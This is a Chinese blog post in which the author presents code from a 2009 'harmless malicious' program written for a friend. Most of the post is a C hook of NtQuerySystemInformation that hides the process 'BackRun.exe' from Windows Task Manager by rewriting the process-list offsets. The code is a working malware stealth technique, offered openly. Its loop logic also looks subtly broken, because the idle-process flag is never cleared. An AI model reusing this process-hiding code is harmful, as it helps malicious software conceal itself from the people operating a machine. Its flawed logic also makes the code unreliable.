今天翻出一些今年前写的代码。其中一个是09年,我帮一个读研的同学写的一个“无公害恶意”程序。大致要求就是要实现自启动和自我隐藏。我使用的都是些简单的技术,只是实现自我隐藏稍微让我花费了点时间写算法。其实这个算法也很简单,就是大学时候写的从一个单向链表中删除一个元素。(转载请指明出处)
APIhook我这儿就不说了,网上很多开源的代码,我只贴出“删除元素”的代码。
NTSTATUS WINAPI Hook_NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID lpSystemInformation,
ULONG ulSystemInformationLength,
PULONG pulReturnLength)
{
// 调用原始NtQuerySystemInformation
NTSTATUS nResult = ((PNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation)
(SystemInformationClass, lpSystemInformation, ulSystemInformationLength, pulReturnLength);
if( 0 != nResult)
{
return nResult;
}
// 获取调用模块路径
WCHAR FilaPath[MAX_PATH] = {0};
GetModuleFileName( NULL, FilaPath, MAX_PATH );
// 获取调用模块的名称
WCHAR* pFileName= NULL;
pFileName = PathFindFileName(FilaPath);
// 这是计算进程名在结构体中的偏移
// typedef struct _SYSTEM_PROCESS_INFORMATION
// {
// ULONG dwNextEntryOffset; // 下段结构对象的偏移
// ULONG dwNumberOfThreads; // 线程数
// LARGE_INTEGER qSpareLi1;
// LARGE_INTEGER qSpareLi2;
// LARGE_INTEGER qSpareLi3;
// LARGE_INTEGER qCreateTime; // 创建时间
// LARGE_INTEGER qUserTime; // 用户态时间
// LARGE_INTEGER qKernelTime; // 内核态时间
// UNICODE_STRING ImageName; // 文件名(非路径)
// ……
// }
// 2 * sizeof(USHORT)是因为UNICODE_STRING得定义:
// typedef struct _UNICODE_STRING {
// USHORT Length;
// USHORT MaximumLength;
// PWSTR Buffer;
// } UNICODE_STRING;
DWORD dwnameoffset = 2 * sizeof(ULONG) + 6 * sizeof(LARGE_INTEGER) + 2 * sizeof(USHORT);
if ( 0 != wcscmp( pFileName, L"taskmgr.exe" ) ||
5 != SystemInformationClass )
{
//只是过滤windows任务管理器
return nResult;
}
LPVOID lpAddr = lpSystemInformation;
// 获取第二个数据块的偏移
ULONG ulNextEntryOffset = 0;
// 因为_SYSTEM_PROCESS_INFORMATION的第一个元素就是dwNextEntryOffset
memcpy_s( &ulNextEntryOffset, sizeof(ULONG), lpAddr, sizeof(ULONG) );
// 保存前一个数据块的“下个数据偏移”
ULONG ulBeforeNextEntryOffset = ulNextEntryOffset;
// 保存当前数据块的“下个数据偏移”
ULONG ulCurrentNextEntryOffset = ulNextEntryOffset;
// 保存后一个数据块的“下个数据偏移”
ULONG ulAfterNextEntryOffset = ulNextEntryOffset;
// 保存前一个数据块的起始地址
PCHAR pchBeforeAddr = (PCHAR) lpSystemInformation;
// 保存当前数据块的起始地址
PCHAR pchCurrentAddr = (PCHAR) lpSystemInformation;
// 保存下个数据块的起始地址
PCHAR pchNextAddr = pchCurrentAddr;
BOOL bidle = TRUE;
while( 0 != ulNextEntryOffset )
{
// 下个数据块的起始地址=当前数据块的地址+当前数据块的“下个数据偏移”
pchNextAddr = pchCurrentAddr + ulCurrentNextEntryOffset;
// 保存下个数据的“下个数据偏移”
memcpy_s( &ulNextEntryOffset, sizeof(ULONG), (PVOID)pchNextAddr, sizeof(ULONG) );
// 指向每个数据块中进程名的指针
PCHAR pchNameAddr = NULL;
// 过滤第一个进程system idle。这个进程在这个进程信息结构体中没有名字
if( FALSE != bidle )
{
// 获取指向进程名的指针
memcpy_s( &pchNameAddr, sizeof(PCHAR), (PVOID)(pchCurrentAddr+dwnameoffset), sizeof(PCHAR));
if( 0 == wcscmp( (PWCHAR)(pchNameAddr), L"BackRun.exe"))
{
// 让上个数据块的“下个数据偏移”=上个数据块的“下个数据偏移”+当前数据块的“下个数据偏移”,跳过当前数据块
DWORD dwGoToNextOffset = ulBeforeNextEntryOffset + ulCurrentNextEntryOffset;
SIZE_T size_nouse = 0;
// 将数据写入内存
if (!WriteProcessMemory(
GetCurrentProcess(),
(PVOID) pchBeforeAddr,
(PVOID) (&dwGoToNextOffset),
sizeof(DWORD),
&size_nouse
))
;
memcpy_s( &ulNextEntryOffset, sizeof(ULONG), pchNextAddr, sizeof(ULONG) );
}
}
else
{
bidle = FALSE;
}
pchBeforeAddr = pchCurrentAddr;
ulBeforeNextEntryOffset = ulCurrentNextEntryOffset;
pchCurrentAddr = pchNextAddr;
ulCurrentNextEntryOffset = ulNextEntryOffset;
}
// Return the result back to the caller
return nResult;
}